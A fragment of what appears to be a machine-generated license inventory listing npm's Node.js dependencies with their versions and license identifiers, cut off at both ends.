'name': 'meant', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'sshpk', 'version': '1.14.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string_decoder', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'unpipe', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'wide-align', 'version': '1.1.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-installed-globally', 'version': '0.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'flush-write-stream', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'from2', 'version': '2.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'p-limit', 'version': '2.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lru-cache', 'version': '5.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-cache-filename', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'package-json', 'version': '4.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'readable-stream', 'version': '3.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'dashdash', 'version': '1.14.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'slide', 'version': '1.1.6', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'dezalgo', 'version': '1.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'gentle-fs', 'version': '2.3.1', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'jsbn', 'version': '0.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._root', 'version': '3.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'mississippi', 'version': '3.0.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'normalize-package-data', 'version': '2.5.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'opener', 'version': '1.5.2', 'licenses': ['(WTFPL OR MIT)']}, {'type': 'nodejs', 'name': 'detect-newline', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'retry', 'version': '0.12.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'sorted-object', 'version': '2.0.1', 'licenses': ['(WTFPL OR MIT)']}, {'type': 'nodejs', 'name': 'uuid', 'version': '3.3.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'path-exists', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'execa', 'version': '0.7.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._baseuniq', 'version': '4.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'require-directory', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ansistyles', 'version': '0.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'https-proxy-agent', 'version': '2.2.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-ci', 'version': '1.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lockfile', 'version': '1.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'pseudomap', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'has-flag', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'spdx-license-ids', 'version': '3.0.5', 'licenses': ['CC0-1.0']}, {'type': 'nodejs', 'name': 'validate-npm-package-name', 'version': '3.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'yargs-parser', 'version': '15.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'path-is-absolute', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._bindcallback', 'version': '3.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash.uniq', 'version': '4.5.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'minimist', 'version': '1.2.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-user-validate', 'version': '1.0.1', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'prepend-http', 'version': '1.0.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'wrappy', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'chalk', 'version': '2.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'emoji-regex', 'version': '7.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'iferr', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ignore-walk', 'version': '3.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'import-lazy', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ini', 'version': '1.3.8', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'number-is-nan', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string-width', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'asynckit', 'version': '0.4.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'worker-farm', 'version': '1.7.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'concat-map', 'version': '0.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'escape-string-regexp', 'version': '1.0.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'mute-stream', 'version': '0.0.7', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'parallel-transform', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'bcrypt-pbkdf', 'version': '1.0.2', 'licenses': ['BSD-3-Clause']}, {'type': 'nodejs', 'name': 'is-date-object', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash.restparam', 'version': '3.6.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'resolve', 'version': '1.10.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-audit-report', 'version': '1.3.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-lifecycle', 'version': '3.1.5', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'shebang-regex', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'fs-minipass', 'version': '1.2.7', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'libnpm', 'version': '3.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'object-keys', 'version': '1.0.12', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'tar', 'version': '4.4.13', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'write-file-atomic', 'version': '2.4.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-cidr', 'version': '3.0.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'byte-size', 'version': '5.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'humanize-ms', 'version': '1.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ansi-regex', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'spdx-expression-parse', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'wcwidth', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'yallist', 'version': '3.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-npm', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'tiny-relative-date', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'got', 'version': '6.7.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'unzip-response', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'p-finally', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'spdx-correct', 'version': '3.0.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'through', 'version': '2.3.8', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'object-assign', 'version': '4.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'isexe', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-package-arg', 'version': '6.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'osenv', 'version': '0.1.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'safe-buffer', 'version': '5.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-redirect', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'chownr', 'version': '1.1.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'forever-agent', 'version': '0.6.1', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'fs-vacuum', 'version': '1.2.10', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-stream', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'os-homedir', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'path-parse', 'version': '1.0.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'promzard', 'version': '0.3.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'boxen', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'socks', 'version': '2.3.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'camelcase', 'version': '4.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'dot-prop', 'version': '4.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'move-concurrently', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'typedarray', 'version': '0.0.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'punycode', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'abbrev', 'version': '1.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'editor', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'gauge', 'version': '2.7.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-fullwidth-code-point', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'prr', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'qs', 'version': '6.5.2', 'licenses': ['BSD-3-Clause']}, {'type': 'nodejs', 'name': 'strip-ansi', 'version': '4.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'yargs', 'version': '14.2.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'JSONStream', 'version': '1.3.5', 'licenses': ['(MIT OR Apache-2.0)']}, {'type': 'nodejs', 'name': 'figgy-pudding', 'version': '3.5.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'getpass', 'version': '0.1.7', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'nopt', 'version': '4.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-normalize-package-bin', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'retry', 'version': '0.10.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'require-main-filename', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ansi-regex', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'es6-promise', 'version': '4.2.8', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'safe-buffer', 'version': '5.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'psl', 'version': '1.1.29', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'registry-auth-token', 'version': '3.4.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'strict-uri-encode', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'timed-out', 'version': '4.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'tweetnacl', 'version': '0.14.5', 'licenses': ['Unlicense']}, {'type': 'nodejs', 'name': 'unique-filename', 'version': '1.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'aws-sign2', 'version': '0.7.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'y18n', 'version': '4.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'util-deprecate', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpmpublish', 'version': '1.1.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'pacote', 'version': '9.5.12', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'path-is-inside', 'version': '1.0.2', 'licenses': ['(WTFPL OR MIT)']}, {'type': 'nodejs', 'name': 'rimraf', 'version': '2.7.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ssri', 'version': '6.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-retry-allowed', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'iferr', 'version': '0.1.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'core-util-is', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'http-signature', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'byline', 'version': '5.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'agentkeepalive', 'version': '3.5.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpmconfig', 'version': '1.2.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'libnpmhook', 'version': '5.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'make-dir', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'minimatch', 'version': '3.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ms', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string_decoder', 'version': '0.10.31', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'yarn', 'version': '1.22.5', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'umask', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'caseless', 'version': '0.12.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'detect-indent', 'version': '5.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'fast-deep-equal', 'version': '3.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'jsprim', 'version': '1.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'node-fetch-npm', 'version': '2.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'pify', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'semver-diff', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'brace-expansion', 'version': '1.1.11', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'p-limit', 'version': '2.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'through2', 'version': '2.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'genfun', 'version': '5.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'safer-buffer', 'version': '2.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'stream-each', 'version': '1.2.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'validate-npm-package-license', 'version': '3.0.4', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'xdg-basedir', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'deep-extend', 'version': '0.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'errno', 'version': '0.1.7', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ajv', 'version': '6.12.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'infer-owner', 'version': '1.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ci-info', 'version': '1.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash.union', 'version': '4.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash.without', 'version': '4.4.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'term-size', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cyclist', 'version': '0.2.2', 'licenses': []}, {'type': 'nodejs', 'name': 'columnify', 'version': '1.5.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'end-of-stream', 'version': '1.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-packlist', 'version': '1.4.8', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'stream-iterate', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'are-we-there-yet', 'version': '1.1.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'console-control-strings', 'version': '1.1.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'defaults', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'hosted-git-info', 'version': '2.8.8', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'imurmurhash', 'version': '0.1.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'promise-retry', 'version': '1.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'protoduck', 'version': '5.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'read-package-json', 'version': '2.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'bin-links', 'version': '1.1.8', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'json-parse-better-errors', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'pumpify', 'version': '1.5.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'supports-color', 'version': '5.4.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'encoding', 'version': '0.1.12', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'aproba', 'version': '1.2.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'decamelize', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'has-unicode', 'version': '2.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-typedarray', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'read-cmd-shim', 'version': '1.0.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'sorted-union-stream', 'version': '2.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'url-parse-lax', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cmd-shim', 'version': '3.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'extend', 'version': '3.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'wrap-ansi', 'version': '5.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cliui', 'version': '5.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'lodash.clonedeep', 'version': '4.5.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'proto-list', 'version': '1.2.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'query-string', 'version': '6.8.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'es6-promisify', 'version': '5.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'fast-json-stable-stringify', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'form-data', 'version': '2.3.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'jsonparse', 'version': '1.3.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-pick-manifest', 'version': '3.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'stringify-package', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'tough-cookie', 'version': '2.4.3', 'licenses': ['BSD-3-Clause']}, {'type': 'nodejs', 'name': 'which', 'version': '1.3.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'balanced-match', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cidr-regex', 'version': '2.0.10', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'decode-uri-component', 'version': '0.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'get-stream', 'version': '4.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'http-cache-semantics', 'version': '3.8.1', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'inflight', 'version': '1.0.6', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'readdir-scoped-modules', 'version': '1.1.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'unique-string', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'asap', 'version': '2.0.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'graceful-fs', 'version': '4.2.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'iconv-lite', 'version': '0.4.23', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'unique-slug', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'which-module', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'err-code', 'version': '1.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ansi-regex', 'version': '4.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'color-name', 'version': '1.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'combined-stream', 'version': '1.0.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'crypto-random-string', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'p-locate', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-bundled', 'version': '1.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'oauth-sign', 'version': '0.9.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'ansi-align', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'aproba', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'function-bind', 'version': '1.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'has-symbols', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'registry-url', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'strip-ansi', 'version': '3.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'agent-base', 'version': '4.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'widest-line', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'split-on-first', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'capture-stack-trace', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'config-chain', 'version': '1.1.12', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'err-code', 'version': '1.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'har-validator', 'version': '5.1.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ip-regex', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'qrcode-terminal', 'version': '0.12.0', 'licenses': ['Apache 2.0']}, {'type': 'nodejs', 'name': 'request', 'version': '2.88.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'ansicolors', 'version': '0.3.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'fs.realpath', 'version': '1.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'p-try', 'version': '2.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._cacheindexof', 'version': '3.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'safe-buffer', 'version': '5.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'tunnel-agent', 'version': '0.6.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'archy', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'once', 'version': '1.4.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-install-checks', 'version': '3.0.2', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'colors', 'version': '1.3.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'es-to-primitive', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libcipm', 'version': '4.0.8', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'uid-number', 'version': '0.0.6', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'update-notifier', 'version': '2.5.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'assert-plus', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'has', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'http-proxy-agent', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'inherits', 'version': '2.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-callable', 'version': '1.1.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'uri-js', 'version': '4.4.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'call-limit', 'version': '1.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'concat-stream', 'version': '1.6.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'duplexify', 'version': '3.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'json-schema-traverse', 'version': '0.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'json-stringify-safe', 'version': '5.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'make-fetch-happen', 'version': '5.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'resolve-from', 'version': '4.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string-width', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'punycode', 'version': '1.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-symbol', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'duplexer3', 'version': '0.1.4', 'licenses': ['BSD-3-Clause']}, {'type': 'nodejs', 'name': 'ecc-jsbn', 'version': '0.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'find-npm-prefix', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'global-dirs', 'version': '0.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-logical-tree', 'version': '1.2.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'performance-now', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'builtins', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-regex', 'version': '1.0.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'json-schema', 'version': '0.2.3', 'licenses': ['AFLv2.1']}, {'type': 'nodejs', 'name': 'latest-version', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lock-verify', 'version': '2.1.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'read', 'version': '1.0.7', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'agent-base', 'version': '4.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm', 'version': '6.14.12', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'ip', 'version': '1.1.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cross-spawn', 'version': '5.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'env-paths', 'version': '2.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-path-inside', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._createset', 'version': '4.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._getnative', 'version': '3.9.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'object.getownpropertydescriptors', 'version': '2.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'pump', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'bluebird', 'version': '3.5.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'isarray', 'version': '0.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'text-table', 'version': '0.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'util-extend', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'run-queue', 'version': '1.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 